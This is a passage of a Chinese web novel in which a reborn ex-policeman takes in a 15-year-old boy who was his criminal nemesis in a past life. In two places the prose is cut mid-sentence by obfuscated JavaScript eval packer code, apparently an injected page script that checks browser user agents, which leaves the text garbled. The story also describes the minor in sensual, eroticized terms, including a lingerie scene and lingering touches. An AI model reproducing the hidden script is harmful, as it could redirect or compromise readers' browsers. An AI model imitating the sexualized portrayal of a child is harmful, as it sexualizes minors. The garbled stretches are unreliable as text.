无论是谁,既然找上门来了,他就好好“招待”一番。 但走近了,路旻的脚步顿住了。 客厅没有任何人,只有蜷缩在沙发角落里,身上盖着浅灰色薄毯,整个人陷在阴影里,只露出小半张苍白的侧脸。 他记得早上出门前,少年正坐在餐桌边吃早餐,身上穿着他搭配好的衣服,头发梳理整齐,一副乖乖小孩的模样。 看着少年被包裹在他挑选的衣服里,不知道为什么,他心情很好,于是在应郁怜小心翼翼地问他晚上是否回来吃饭的时候,他还特意交代了今晚有跨时区会议,会晚归,让应郁怜自己热冰箱里准备好的晚餐,十点前必须睡觉。 现在看来,他的最后一项指令并没有被执行。 路旻走过去,在沙发前站定。 应郁怜闭着眼睛,呼吸很轻,长睫在眼下投出浅浅的阴影。 但路旻看得出来,那不是熟睡的状态——少年的身体过于紧绷,手指无意识地攥着毯子边缘,指节泛白。 路旻的眉头蹙起,他伸出手,不是去碰少年,而是探向对方的额头——很烫。 应郁怜也被路旻试探额头温度的动作弄醒,沙发上的人动了一下,眼睛缓缓睁开。 那双黑眼睛起初有些涣散,过了几秒才聚焦到路旻脸上。 “路先生,好冷。” 他迷迷糊糊地向男人张开双臂,但他又突然意识到,他和男人之间不是能随意撒娇的关系,于是手又怯懦地想要收回去。 可应郁怜没想到,男人居然真的俯身,手臂穿过他的膝弯和后背,将他直接抱了起来。 他抱着少年,从衣柜抽出干净的毛巾和一件厚实的长款羽绒服。 “路……先生?” 应郁怜声音嘶哑得像破风箱。 路旻用毛巾快速擦掉少年额头的冷汗,然后扶他坐起来。 应郁怜浑身软得没力气,靠在路旻的怀里,任由摆布。 路旻帮他脱掉汗湿的睡衣,一点点擦干后背。 穿羽绒服时,应郁怜无意识地把头抵在路旻肩上,滚烫的呼吸喷在他颈侧。 “冷……” 路旻没回应,只是加快了动作。 拉链拉到顶端,帽子扣上,又用一条羊绒围巾在少年的脖子上绕了两圈,然后他弯腰,一手穿过应郁怜膝弯,一手拖住后背,将人稳稳地抱了起来。 体重轻得让他皱眉。 去出库的路上,应郁怜一直昏昏沉沉靠在他的怀里。 路旻表情平静,只有微微紧绷的下颌泄露出一丝不明显的焦灼。 车在凌晨空旷的街道上行驶,路旻习惯性地瞥了一眼副驾驶——应郁怜歪着头,帽檐遮住了大半张脸,只露出一点苍白的下巴。 等红灯时,他伸手探了探少年的额头,温度没有下降。 急诊室的灯光永远白得刺眼,路旻想起前世他也曾无数次进过这里,或是受伤,又或者是送他的同事进冰冷的手术室,而现在,他送进急诊室的,是他前世追捕了一辈子的宿敌。 看着护士推过来移动病床,路旻立刻将应郁怜放下,动作放得很轻。 路旻说不清医院里,那种让他近乎窒息的氛围是什么?是让他想起来前世战友们的惨状,还是他也在为病床上的应郁怜,一个他不该救却救了的人担心? 他都不想去思考。 他抬脚准备下楼,已经有护士照顾应郁怜了,他并不擅长照顾人,照顾应郁怜也本来就不是他的职责。 “别走……” 尽管路旻的动作放得很轻,但应郁怜还是被惊动了,无意识地抓住他的袖口,声音细弱得像猫叫。 路旻低头,看着那只抓着自己袖口的手——手指细瘦,骨节分明,因为用力而微微发抖。 他沉默了几秒,然后单手握住那只手,另一只手陪护护士将应郁怜转移到病床上。 留置针扎进应郁怜手背时,少年在昏睡中无意识缩了一下。 路旻的手覆上他的另一只手,指腹无意识地摸索着少年冰凉的手背,这个动作连他自己都没察觉。 单人病房在住院部顶层。 路旻将人安顿好时,窗外天色已经由浓黑转为深蓝。 他站在床边,看着输液管里的液体一滴滴落下,目光沉静得像潭水。 应郁怜在药物的作用下睡得沉了些,但眉头依旧紧蹙,嘴唇抿得很紧,偶尔会发出细微的梦呓。 路旻调暗了顶灯,只留一盏壁灯。 然后他拖了把椅子到床边,坐下,背脊挺直,双手交叠放在膝上。 中途查房的护士进来,她发现了少年睡得并不平稳,好心地小声提醒道: “先生,孩子年纪太小,生病了很难睡得安稳,您可以试试轻拍他。” “他不是幼童了,他已经十五岁了。” “抱歉,是我多嘴了。” 护士脸红着关上了门。 路旻的目光移到了应郁怜身上,少年确实矮小瘦弱,看起来和十岁的男孩毫无区别,如果不是他去警局调出了他的出生年月,恐怕没有任何人,会知道这个孩子已经十五岁了。 而应郁怜整个人此时几乎要缩进被子里,眉头无意识地蹙着,手指紧紧攥着被角,指节泛白。 那是一种极度缺乏安全感的睡姿,像在防备什么看不见的威胁。 鬼使神差地,路旻放下平板,关了床头灯。 黑暗瞬间笼罩房间,只有窗帘缝隙透进一点城市夜晚的微光。 他躺下来,侧过身,面朝应郁怜的方向。 少年察觉到他动作,身体几不可察地僵硬了一瞬。 “睡不着?” 路旻问,声音在黑暗里显得格外低沉。 应郁怜沉默了很久,久到路旻以为他不会回答了。 然后,才传来一声极轻的、几乎听不见的“嗯”。 路旻没再说话。 他伸出手,不是去抱应郁怜,而是手掌平贴在那截细瘦的后背上。 隔着一层棉质睡衣, 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这一次,他调整了角度,手掌落在少年肩胛骨的位置,力道放得更轻了些。 应郁怜又往他怀里缩了缩,这次几乎是整个人都贴了过来。细瘦的手臂无意识地环住路旻的腰,脸埋在他肩窝里,像只终于找到巢穴的幼兽。 路旻的身体几不可察地僵了僵。 这个距离太近了,近得他能清晰感受到少年单薄胸膛下心跳的频率,近得那股干净又脆弱的气息完全笼罩了他。 但他没有推开。 只是继续拍着,节奏不变,力道不变。 黑暗里,他的目光落在天花板上,脑海里闪过一些不相干的念头——如果他前世的战友,知道他们花了十年追捕的犯罪疯子,此刻要靠着自己拍着才能入睡,此刻恐怕也会惊掉下巴。 但所有这些思绪,都渐渐被手掌下那具逐渐放松、逐渐温暖的躯体所取代。 应郁怜的呼吸彻底平稳下来,变成了熟睡时才有的节奏。 环在路旻腰上的手臂也松了力道,软软地垂落下来。 路旻又拍了一会儿,才缓缓停下。 他没有立刻抽回手,而是让手掌就那么贴着少年的后背,感受着那平稳的起伏。 黑暗中,他的嘴角几不可察地弯了弯——一个极淡的、连他自己都未曾察觉的弧度。 然后他闭上眼睛,保持着那个姿势,任由应郁怜整个人靠在他怀里。 窗外的城市渐渐安静了下来,偶尔有车流声从远处传来,又渐渐消散在夜色里。 路旻睡熟了之后,他怀里的应郁怜睁开了眼睛。 少年一点点轻嗅着男人身上的雪松味,嘴角微微弯起,他看到了男人把被子全留给了自己,而身上只盖着被子的一小角。 还好他没有睡着。 应郁怜将被子小心翼翼地给男人盖好 ,将自己窝进路旻的怀里,像一株菟丝花攀附着赖以生存的枝条。 他看到路旻眉头不安的皱起,伸出手给男人抚平。 应郁怜蹭了蹭男人的脖颈,轻声说: “晚安,路先生。” 4. 第 4 章 路旻放下手中的咖啡杯,目光扫过餐桌对面。 应郁怜正小口小口地吃着煎蛋,动作依旧拘谨,但至少再像最初那样抖得握不住餐具。 他身上穿着路旻让人送来的合身衣物——简单的浅色卫衣和长裤,黑发柔软地搭在额前。 几天的饱食和安稳的睡眠让那张小脸有了极淡的血色,只是眼神依旧空茫,像蒙着雾的深谭,大多数时候都垂着眼,避免与路旻对视。 “吃完去换身正式点的衣服。” 路旻开口,语气平淡。 应郁怜动作一顿,抬起眼,茫然中带着一丝紧张。 正式?要去哪里? 路旻没解释,只是继续道: “抽屉里有新送来的,自己挑。” 说完便起身,拿起西装外套。 应郁怜不敢多问,迅速吃完,他回客卧,反锁了门,衣柜里有很多新衣服,但最底层,有一个他前几天发现的不起眼纸袋。 纸袋里是一件衣服,或者说,勉强算是衣服——极薄的,带着廉价蕾丝边的黑色布料,款式奇怪,尺寸很小。 这大概是采购的人讨好路旻的有意为之,但在应郁怜有限的认知里,这似乎验证了他那个可怕的想法。 这几天,路旻给了他独立的户口,提供衣食住行,给他看病……所有的一切都超出了他能理解的“收留”或者“交换”的范畴,在他过往灰暗的人生里,得到必然伴随着付出、,甚至是痛苦的,不堪的付出。 他想起在铁皮屋,刀疤脸那些污言秽语,想起更早以前,那些模糊恶心的暗示,“长得不错”“听话”,“什么都能干”,是不是……这样才行?这样才算“有用”?才算……不白吃白住? 才能够不被……抛弃? 他太贪恋路旻怀里的温度,他不想离开路旻身边,而他拥有的只有这一副乏善可陈,尚且能作为报酬的身体。 他脸色苍白,手指冰凉,拿起那件单薄得几乎透明的布料,指尖都在发抖。 羞耻感像潮水般涌上来,几乎将他淹没。 他闭上眼睛,深吸了一口气,换上了那件完全不合身,也根本不适合他的年纪的“衣服。 冰冷的,粗糙的蕾丝摩擦着皮肤,激起一阵阵战栗。 布料少的可怜,几乎遮不住什么,反而更凸显出他纤细的腰肢和苍白的肤色,以及唤起人凌虐欲的伤痕。 他不敢看镜子,只是紧紧攥着拳,指甲陷入掌心。 一步一步,挪向书房。 每走一步,冰冷的地板都让他光裸的脚底发寒。 书房的门虚掩着。 他停在门口,能听到里面路旻敲击键盘的轻微声响。 他鼓足勇气,抬起颤抖的手,轻轻敲了敲门。 “进来。” 路旻的声音传来,平淡无波。 应郁怜推开门,走了进去,头垂得低低的,不敢抬起。 他停在书桌前几步远的地方,身体僵硬得像一块石头。 路旻抬眼望过去,然后—— 敲击键盘的手指蓦然停住。 空气凝固了。 路旻没有立刻发作,他甚至没有大动作,只是缓缓向后靠进椅背,手肘支在扶手上,修长的手指交叉抵在下颌,他一寸寸扫过应郁怜身上那件衣服,掠过那些裸露在空气里的莹白皮肤,最后,定格在少年低垂的,毫无血色的脸上。 “谁允许你,穿成这样的?” 应郁怜被他这种冰冷的诘问姿态吓得浑身一颤,几乎站不稳,在他要踉跄后退的时候,一双大手显示抓住了细白的手腕,又用指节,如蜻蜓点水般,抵住他的腰窝,把他扶稳。 “站稳。” 路旻看到应郁怜眼睛欲掉不掉的泪水,和害怕的表情,心中生出烦闷。 他现在还只是一个孩子,而不是前世的罪犯,他以审问的手段对待一个手无缚鸡之力的孩子,又和铁皮屋的那些混混有什么区别? 路旻拿起桌上的纸巾,一点点擦去应郁怜脸上滚落的泪珠,语气放轻: “我没有生气,我只是想知道原因。” 低着头的应郁怜感受到了路旻那带着温热和薄茧的手,人类的本能,让他向温热靠近,他蹭了蹭男人的掌心,仿佛一只幼猫正在主人的掌下祈怜。 “我……以为……” 少年的声音细碎颤抖。 “这样……您会……会需要我,我可以……” “可以什么?” 路旻打断他,语调依旧平稳,却更沉了一分。 “可以取悦我?还是可以证明你‘有用’?” 他放下支着下颌的手,身体前倾,手肘撑在膝盖上。 这个姿势带来更强的压迫感,明明坐着,却仿佛居高临下: “看着我,应郁怜。” 应郁怜被迫抬起泪眼,对上他的视线。 路旻的眼神深不见底,里面翻涌着他看不懂的复杂情绪,但绝无一丝一毫他预想之中的“欲望”,或者“满意”。 反而是怜惜? 可他这种人……也会有人怜悯吗? “我带你回来,给你身份,供你吃穿,不是因为这个。” 他站起身,没有立刻靠近,只是绕过书桌,走到应郁怜面前几步之遥停下。 灯光从他身后打来,将他的影子完全笼罩住瘦弱的少年。 路旻的目光扫过那身不堪的衣物,语气里厌恶毫不掩饰,但那厌恶并不是针对少年本身,而是针对这身服装所代表的含义。 “你的价值,如果仅仅建立在这种肤浅肮脏的‘用途’上,那我当初根本不会多看你一眼。” 他忽然伸手,不是去碰那衣服,而是用冰凉的指尖,捏住了应郁怜的下巴,力道不重,却足以让他无法挣脱,被迫抬起头,直视着自己的眼睛。 “听清楚,” 路旻俯视着他,两人的呼吸近在咫尺,他能清晰得看到少年眼中的自己的倒影,和那浓密睫毛上颤动的泪珠。 “我不需要这种讨好,永远不需要。” “你住在这里,遵守我的规则,接受我的安排,这就够了,比起你的这种多余的付出,我只希望……” 路旻顿住了,却找不到任何的词语来形容,希望一个前世蔑视法律,漠视生命的疯子幸福吗? 应郁怜察觉了路旻的犹豫,他用小指勾了勾路旻的掌心,眼里满是困惑。 “应郁怜,不要重蹈覆辙。” 路旻看向应郁怜那双和前世狡黠冷漠完全不同的清澈双眼,他一字一句地说下了这句话。 房间里,应郁怜把那件裹住身体的黑色蕾丝脱下来,落在地上。 路旻在他身后的衣柜找到了衣服和裤子,应郁怜垂着眼睫准备伸手接过,却被路旻拦住,他在空中虚扶着应郁怜的双臂,表情冷淡: “我给你穿。” 应郁怜垂下眼,看着那修长的手指。 路旻的指节分明,手背上淡青色的血管在冷白的皮肤下隐约可见。 这样一双手,曾握过枪,也签过上千万的合同,此刻却在他的锁骨处,为他系上一颗扣子。 纽扣穿过扣眼时发出极轻的“嗒”声。 路旻的指尖不可避免地擦过少年锁骨处那枚玫瑰状的胎记。 皮肤相触的瞬间,应郁怜轻轻颤了一下。 不是冷。 是另一种更陌生的战栗。 路旻的手没有停留,而是立刻落在第二颗纽扣上。 男人手中的纽扣刚好落在胸口上方。 应郁怜的呼吸不由自主地急促了些,他能感觉到路旻的视线落在自己的身上—— 不是情|欲的审视,只是专注地在帮一个小孩穿衣服,仅此而已。 纽扣穿过扣眼。 这一次,路旻的指尖停留的更久。 他的指节微微弯曲,指背若有似无地蹭过少年单薄的胸膛。 布料之下,那颗心脏正不受控制地加速跳动。 路旻一件件把应郁怜脱下的衣服,重新给他穿上了。 “冷吗?” 路旻忽然问。 应郁怜摇头,却说不出话。 他感觉到路旻的手掌整个都覆了上来,隔着薄薄的衬衫,熨帖在他心口的位置,那只手很大,几乎能完全包裹住他瘦削的胸膛,掌心的温度透过布料传递过来。 应郁怜能闻到他身上传来的,极淡的须后水的味道——冷冽的雪松混合着一点烟草的苦香,与他记忆中那些污浊的气息截然不同。 却让他沉迷。 在他想凑近闻时,那香味又立刻远离。 “该走了。” 应郁怜抬眸,男人已经走到了玄关处,背对着他,穿上了大衣。 他立刻小跑着跟上了路旻。 应郁怜穿着那套浅灰色羊绒衫和白色衬衫,外面套了件深色呢子外套——和路旻的穿搭如出一辙。 他安静地坐在副驾驶座上,手指无意识地搅着书包带子,视线透过车窗,望向校园里的那些笑容明媚,嬉笑打闹的学生。 每一个表情,每一个动作,都透露出被宠爱浇灌出来的鲜活。 应郁怜看着,手指绞得更紧了些。 他像隔着厚重玻璃观察另一个世界的生物,熟悉又陌生。 在他的手指继续绞紧时,路旻用手制止住了,慢慢打开他的掌心。 “放轻松。” 路旻的声音将他的思绪拉回。 办理入学手续的过程比预想的繁琐。 但好在应郁怜的学前测试出乎意料地不错,一些简单的字他认得,加减法也能勉强算对,像是曾经写过,又被粗暴地抹去,只剩下些零星模糊的回忆。 王主任推了推眼镜,抬头看向站在办公室旁的应郁怜。 少年低垂着眼,站姿拘谨,双手背在身后,是那种长期处在紧张状态下的防御性姿势。 “路先生,您跟我出来一下。” “孩子之前……在哪就读?” 王主任问,语气里是职业性的探究。 “家里有些特殊情况,之前没正式入学。” 路旻回答得很简略,语气平静,却自有一股不容深究的气场。 王主任点点头,又看向测试卷,眉头微微蹙起: “底子还是有一些,就是……太薄弱了,而且从测试过程看,孩子注意力很难集中,答题时非常紧张。” 她顿了顿,斟酌着用词。 “路先生,以孩子目前的状态,直接插入高一可能会非常吃力,更重要的是……” 她抬眼,目光落在应郁怜始终低垂的脸上: “孩子的心理状态,可能需要更多关注,他……太安静了,这种安静和拘谨,在他这么大的孩子身上不太常见。” 路旻的表情没什么变化,只是指尖在走廊栏杆边缘轻轻巧了一下: “所以您的建议是?” “或许可以再考虑缓一缓?” 王主任放下试卷,语气陈恳: “请专业的家教或者您在家辅导一段时间,等孩子基础打牢些,心理上也更适应学习环境了,再考虑入学,毕竟学校也是集体环境,如果孩子无法融入,反而可能造成更大的压力……” “他需要社会化。” 路旻打断她,声音不大,却让整个走廊的空气微微一凝。 他也曾经想过将应郁怜这个不稳定的炸弹,放在自己的身边,亲自悉心教导。 但路旻今天早晨已经感受到了挫败感,哪怕在他身边待了几天,应郁怜选择报答他人的方式,依然是肉| 体。 这是他的失职。 也让他原本犹豫着要将应郁怜送进学校的心彻底坚定下来。 王主任愣了一下。 “知识可以补,基础可以打。” 他的声音平稳,带着一种不容置疑的笃定, “但与人相处的能力,在集体中找到自己位置的能力——这些只能在学校里学。” 他转过身,目光掠过办公室里应郁怜苍白的侧脸,最后落在王主任脸上: “我希望他能像一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路旻叫他的名字,声音不高,却像有实质的重量落在肩上, “记住,你不需要讨好任何人,包括同学,包括老师。” 他的指尖抬起,不是触碰,只是虚虚拂过少年肩头并不存在的灰尘: “你只需要遵守规则,其他的,交给我。” 应郁怜的嘴唇微微颤抖。 他当然明白路旻的意思——学校有学校的规则,就像路旻有路旻的规则。遵守规则,就能获得安全。 可是...... “那您......” 他的声音小得几乎听不见, “放学的时候......会来接我吗?” 路旻看着他,看了很久。 久到应郁怜以为他不会回答。 “会。” 最终,路旻给出了一个字。 应郁怜的心稍微落下来一点,但那种即将被抛入陌生环境的恐慌依旧汹涌。 他看着路旻转身要走,几乎是下意识地,伸手抓住了对方的衣角。 很轻的力道,却让路旻的脚步顿住了。 “路先生......” 应郁怜的声音带着压抑不住的哭腔, “我......我不想一个人......” 路旻没有立刻回头。他站在那里,背对着少年,肩背的线条在晨光下显得格外挺拔,也格外冷硬。 几秒钟后,他才缓缓转过身。 低头,看着那只紧紧攥着自己衣角的小手——手指细瘦,因为用力而关节发白,手背上还能看见输液留下的淡青色针眼。 路旻伸出手,不是去掰开那只手,而是覆了上去。 他的手掌很大,几乎能完全包裹住应郁怜的手背。掌心温热,力道沉稳。 路旻望着应郁怜那双怯懦的眼睛,他突然想起前世对方寄来的那些卡片上所写的事情。 说他乞过讨,替人打过黑拳,要过债,在赌场扮女装当荷官,他所拥有的一切都是他自己赚来的,他没有选择出身的权利,但他可以决定结果。 应郁怜也确实让废墟上长出了金币,只不过是用犯罪。 世界对应郁怜不公。 路旻如此想。 可他也不会是陪着应郁怜走到最后的人,等到他真的把应郁怜教导成一个“正常人”,他就会功成身退。 他已经在应郁怜身上搭上过一辈子了,这一世他要留给自己。 “应郁怜。” 他的声音低下来,带着某种近乎残酷的温柔, “这个世界不会因为我陪你走进教室,就对你温柔几分。” 他俯身,视线与少年平齐。两人距离近得能看清彼此瞳孔里的倒影。 “恐惧不会因为有人牵着你的手就消失。”、 路旻继续说, “它只会因为你自己走进去、面对它、习惯它,才会慢慢退去。” 他的拇指在应郁怜手背上轻轻摩挲了一下,是个安抚的动作,却说着最不留情的话: “所以,你得自己去。” 应郁怜的眼泪终于掉下来。 一颗,两颗,砸在两人交叠的手上。他没有哭出声,只是无声地流泪,肩膀细微地颤抖,像只被逼到绝境又不敢反抗的幼兽。 路旻没有为他擦泪。 只是那样看着他哭,眼神深得像潭水,里面翻涌着某种复杂难辨的情绪——有关切,有决绝,或许还有一丝极淡的、连他自己都未察觉的心疼。 等应郁怜的哭声渐弱,他才松开手,从西装内袋里拿出一块深灰色的手帕,递过去。 “擦干净。” 他的声音恢复了平日的冷感,、 “然后上楼,去你该去的地方。” 应郁怜接过手帕,布料柔软,带着路旻身上特有的冷冽香气。 他胡乱擦了把脸,抬起头时,眼眶和鼻尖都红红的,模样狼狈,眼神却比刚才坚定了一点点。 “您真的......放学时会来吗?” 他又问了一遍,像要确认最后的救命稻草。 路旻看着他,嘴角几不可察地勾了勾——那是个极淡的、几乎看不见的弧度。 “我答应过的事,从不食言。” 5. 第 5 章 校运会那天天气好的过分。 天空是澄澈的蓝,阳光灿烂但不灼人,微风拂过操场边的香樟树。 路旻的车停在学校外的停车场,他今天没穿正装,一身深灰色的休闲装,外面套了件薄风衣,整个人看起来比平时少了几分冷硬,但那种与生俱来的疏离感依然存在,与周围喧闹的校园环境格格不入。 他来学校,是因为昨天,应郁怜在餐桌上吞吞吐吐,犹豫地看着他。 他放下餐具,用深灰色的手帕,擦拭着手,眼睛有些不耐地眯起: “应郁怜,我想我不是什么洪水猛兽吧。” 路旻做了个给嘴巴拉开拉链的动作,又指了指应郁怜的嘴,挑眉道: “把你缝起来的嘴巴打开。” 应郁怜看了一眼路旻,“哦”了一声,才慢悠悠地,黏黏糊糊地小声说: “路先生,你能来看我的运动会吗?” “你报了项目?” “我报了一个400米。” 路旻有些惊讶,他前世追捕应郁怜那么久,早就摸清了他这个死对头孤僻反社会的本性,这种集体活动应该不是他会参加的东西。 他甚至能想到前世的应郁怜碰到这种活动,应该会表面温柔地拒绝,背地里骂这不过是一群集体荣誉感过剩的蠢货才会加入的恶心活动。 他又想到这一世,应郁怜被他捡到了,也许一切真的不一样了,他的目光一寸寸看过应郁怜那张漂亮懵懂的脸,小心翼翼中夹杂着期待的眼神,脸上被他这些天来养着已经长了不少肉。 不知怎么地,他突然想伸出手,捏一捏对方的脸,路旻这么想,手也就这么做了。 路旻的手指很凉,带着室外初冬的寒气,指腹却有着常年握枪留下的薄茧。 那力道不重,却带着一种不容置疑的掌控感——拇指抵在应郁怜下颌骨下方,食指和中指扣住另一侧,就这么轻轻一抬,便迫使他仰起了脸。 手下的触感很新奇,路旻单调的人生里,没有捏过别人的脸,唯一碰过的只有自己的,却也是粗糙干燥的。 而现在手里把玩着的这张脸,软|肉多的要从手里溢出来,他没有遇到过这种东西,于是抓住又捏了几下。 灯光从头顶洒下来,有些刺眼。 应郁怜被迫睁大眼睛,视线里全是路旻逼近的脸和宽厚粗糙掌心的温度。 太近了。 近到他能数清路旻眼睫的根数,能看清那双黑色瞳孔里细碎的、自己慌张的倒影,能感受到对方呼吸时温热的气息拂过自己嘴唇——带着一点淡淡的烟草味,独属于这个男人的冷冽气息。 被人卖掉和差点被迫做那种工作的经历,让应郁怜讨厌一切和人亲近的肢体接触。 可他唯独对路旻不抵触,甚至还希望再近一些,再近一点。 就像那次在病房,他严丝合缝地嵌进了路旻的怀里,就好像他们生来就是一体的一样,无论发生什么,路旻都不会把他抛弃。 尽管生病很难受,可他却无限怀念那次在路旻怀里的时刻。 路旻知道自己的手上,带着在警校时留下的薄茧,却也没想到应郁怜的皮肤这么敏感,立刻泛起了红印,他皱眉想要收回手。 应郁怜却把路旻的手捧了起来,放在自己的脸颊两侧,眉眼弯了起来,白嫩的脸颊又挤在了一起,纵容着男人这样玩弄揉捏自己的少年,还笑着说: “路先生,想捏就捏就好了。” 说着,少年低垂下眼睫,似乎是一副失落的模样: “毕竟,我除了这个,也没有什么可以回报路先生了。” 房间里一时陷入了沉默。 但应郁怜知道。 路旻在看他。 用一种应郁怜从未见过的、近乎审视的眼神。 目光从他的额头开始,一寸寸下移——扫过因为起床而湿润的眼睫,扫过泛着不正常红晕的眼尾,扫过挺翘的鼻尖,最后停留在他微微张开的嘴唇上。 应郁怜的呼吸窒住了。 他的脸颊被迫仰着,脖颈拉出一道脆弱而优美的弧线。 喉结不自觉地滚动了一下,吞咽时发出细微的“咕咚”声。 这个姿势让他完全暴露在路旻的目光下,像一件被剥去所有包装、赤裸裸摊开的易碎品。 拇指指腹摩挲着应郁怜下颌骨边缘的皮肤,力道很轻,却带来一阵细密的、令人战栗的痒。 应郁怜说不出话,只能轻轻地蹭着路旻的手——动作很小,因为脸还被捏着。 路旻的视线落在他嘴唇上。 那里因为高烧而干裂,起了细小的皮屑,下唇内侧有一小块被自己无意识咬破的伤口,结着暗红色的血痂。 路旻的指尖移上去,极轻地按了按那块伤口。 “这里疼吗?”他问。 应郁怜浑身一颤。 细微的刺痛从唇上传来,混合着路旻指腹粗糙的触感,激起一阵诡异的、让他头皮发麻的颤栗。 他睫毛抖得厉害,眼睛湿漉漉的,像蒙了一层水雾,就这么仰着脸,茫然又无助地看着路旻。 像只被捏住后颈、动弹不得的幼猫。 路旻看了他很久。 久到应郁怜觉得自己快要溺死在这片黑色眼眸的注视里,久到他开始控制不住地颤抖,久到—— 路旻忽然松开了手。 力道撤得太突然,应郁怜的下颌失了支撑,猛地往下坠了一寸。 他下意识抬手想揉一揉被捏过的地方,指尖触到的皮肤却还残留着路旻手指的温度和触感——烫的,带着薄茧的粗糙,还有某种不容错辨的、属于成年男性的掌控力。 “校运会那天我有一个会要开。” 路旻直起身,声音恢复了平日的冷静,仿佛刚才那个捏着他脸审视的人不是自己。 应郁怜原本吊着的一颗心,听到这句话彻底碎掉,连带着头也一并怏怏地垂下来,有些失落地“嗯”了一声。 “但我会尽快赶过去。” 路旻的下句话,又让原本垂头丧气的少年,眼睛立刻亮了起来,唇角弯弯,带出两个梨涡。 他看着那两个梨涡,前世的应郁怜也爱笑,不过这梨涡更像是死亡的征兆,一但应郁怜笑了,那眼前的人连死也就不远了。 可这一世的应郁怜,笑起来,路旻能感觉到的只有甜,两个梨涡像盛了蜜一般。 他都疑心他这一世找错了人。 在他这么想的时候,少年又走了过来,不过脚步比起之前说话的吞吞吐吐,明显轻快了很多,应郁怜耳根后泛着绯红,将通知塞到了路旻手上。 “这是通知。” 说完,不等路旻回话,就一溜烟地跑远了。 “真是笨蛋。” 路旻无可奈何地摇了摇头。 应郁怜跑进了房间,还僵直着身子,用手顺着胸口,平复自己疯狂的心跳,手指无意识地抚过自己的下颌,又碰了碰嘴唇。 那里被路旻按过的地方,此刻正隐隐发烫,像被烙下了什么看不见的印记。 他抬起眼,看向站在客厅倒水的路旻。 男人侧对着他,阳光从窗外照进来,勾勒出他清晰的轮廓——高挺的鼻梁,紧抿的薄唇,掩盖在衣服之下的肌肉。 握着水杯的手很稳,指节分明,腕骨突出。 就是这双手,刚才捏着他的脸,迫使他仰起头,把他最脆弱的样子尽收眼底。 应郁怜的耳根后知后觉又再次红了起来。 他把脸埋进枕头,深深吸了口气。 枕头是路旻洗的,上面还残留着路旻身上那股冷冽的气息,此刻闻起来,却莫名地让他心跳加速。 涩意从被触碰过的地方蔓延开来,丝丝缕缕,钻进血管,流遍全身。 —— 应郁怜刚跑完四百米决赛,胸口还在剧烈起伏,汗水顺着额角往下淌,在阳光下亮晶晶的。 他扶着膝盖喘气,耳朵里全是嗡嗡的轰鸣声和远处模糊的加油声。 第三名。 他跑了小组第三。 对于一个月前连完整跑完四百米都吃力的他来说,这已经是不可思议的成绩。 体育老师拍着他的肩膀说“不错不错”,同学们围过来递水递毛巾,嘈杂的关心声将他包围。 可应郁怜的目光却穿过人群,焦急地扫视着操场外围的观众席。 路旻说今天下午会来。 他说有会议,可能晚点到,但一定会来。 应郁怜从早上就开始等。 检录时等,热身时等,站上起跑线时还在等。 每一次抬头看向观众席,心脏都会揪紧一分——没有,没有,还是没有。 观众席上的人很多。 但应郁怜相信他就是能一眼看到路旻。 也许不会来了。 这个念头像根细针,扎在他心口最软的地方。 路旻很忙,他知道。 公司有那么多人,那么多会议,那么多比他重要得多的事情。 少年低下头,用毛巾胡乱擦着脸,试图掩住眼底那点不争气的酸涩。 就在这时,一个熟悉的、低沉的声音从身后传来: “跑得不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了。” 语气很淡,却带着不容拒绝的意味。 应郁怜这才不情不愿地松开手,往后退了半步。 脸还红着,不知道是因为刚跑完步,还是因为刚才那个冲动至极的拥抱。 他低着头,不敢看路旻的眼睛,手指无意识地绞着衣角。 “抬头。” 路旻说。 少年慢慢抬起脸。 路旻伸手,用拇指指腹擦掉他额角将落未落的一滴汗。 动作很自然,自然得像在脑子里演练做过千百遍。 “第三名?” 他问。 应郁怜用力点头,眼睛亮晶晶地看着他,像在等待某种认可。 路旻看了他几秒,然后几不可察地弯了弯唇角——那是个极淡的、几乎看不见的弧度,却让应郁怜的心跳漏了一拍。 “还不错。” 他说,声音里带着一丝罕见的、近乎温柔的东西, “比你之前练的快了六秒。” 路旻居然知道我的成绩? 应郁怜的眼睛睁大了,他有些难以置信,在他看来,男人的人生里有太多比他重要的东西,他在路旻的人生里,大概是被救回来的一个路人甲而已。 路旻原来一直在注视着他吗? 阳光很好,洒在两人身上,暖洋洋的。 操场上的喧闹声重新涌回耳朵里,同学们在不远处窃窃私语,投向这边的目光里有好奇,有惊讶,有羡慕。 但应郁怜不在乎。 他眼里只有路旻。 只有这个在他扑过去时稳稳接住他的人,只有这个记得他上次训练成绩的人,只有这个会在他跑完后出现、说一句“还不错”的人。 路旻收回手,看了眼腕表: “还有项目吗?” 应郁怜摇头。 “那去换衣服。” 路旻转身往操场外走, “一身汗,容易感冒。” 少年亦步亦趋地跟在他身后,脚步轻快得像是要飞起来。 他偷偷看着路旻挺拔的背影,看着阳光在路旻身上跳跃,看着自己的影子紧紧贴着对方的影子—— 心里某个空缺了很久的地方,忽然被填满了。 暖暖的,软软的,像被阳光晒过的棉花。 6. 第 6 章 月考前的周末,书房里弥漫着冬日午后特有的慵懒阳光。 应郁怜抱着一摞课本和习题册站在书房门口,手指无意识地抠着书页边缘。 他穿着宽松的浅灰色家居服,头发刚洗过,软软地搭在额前,整个人看起来柔软又干净。 路旻坐在书桌后,面前摊着几份合同。 听见动静,他抬起头,目光落在少年怀里那摞书上: “有事?” “那个……” 应郁怜的声音很小, “下周要月考了。” “我知道。” 路旻的视线重新回到合同上, “你的复习计划我上周就制定好了。” 应郁怜咬了咬下唇,往前挪了两步: “可是……数学的几何证明题,我还是不太会。” 路旻翻页的手顿了顿。 他抬眼,看向少年: “上周的测试,你几何部分拿了满分。” 空气安静了两秒。 应郁怜的脸“唰”地红了。 他低下头,手指把书页抠得更紧,声音细若蚊蚋: “就……就是突然又不会了……” 路旻看了他很久。 久到应郁怜觉得自己快要被那道目光看穿,久到他开始后悔编这个拙劣的借口,久到—— “过来。” 路旻放下手中的笔,声音听不出情绪。 应郁怜几乎是立刻走过去,在书桌侧边站定。 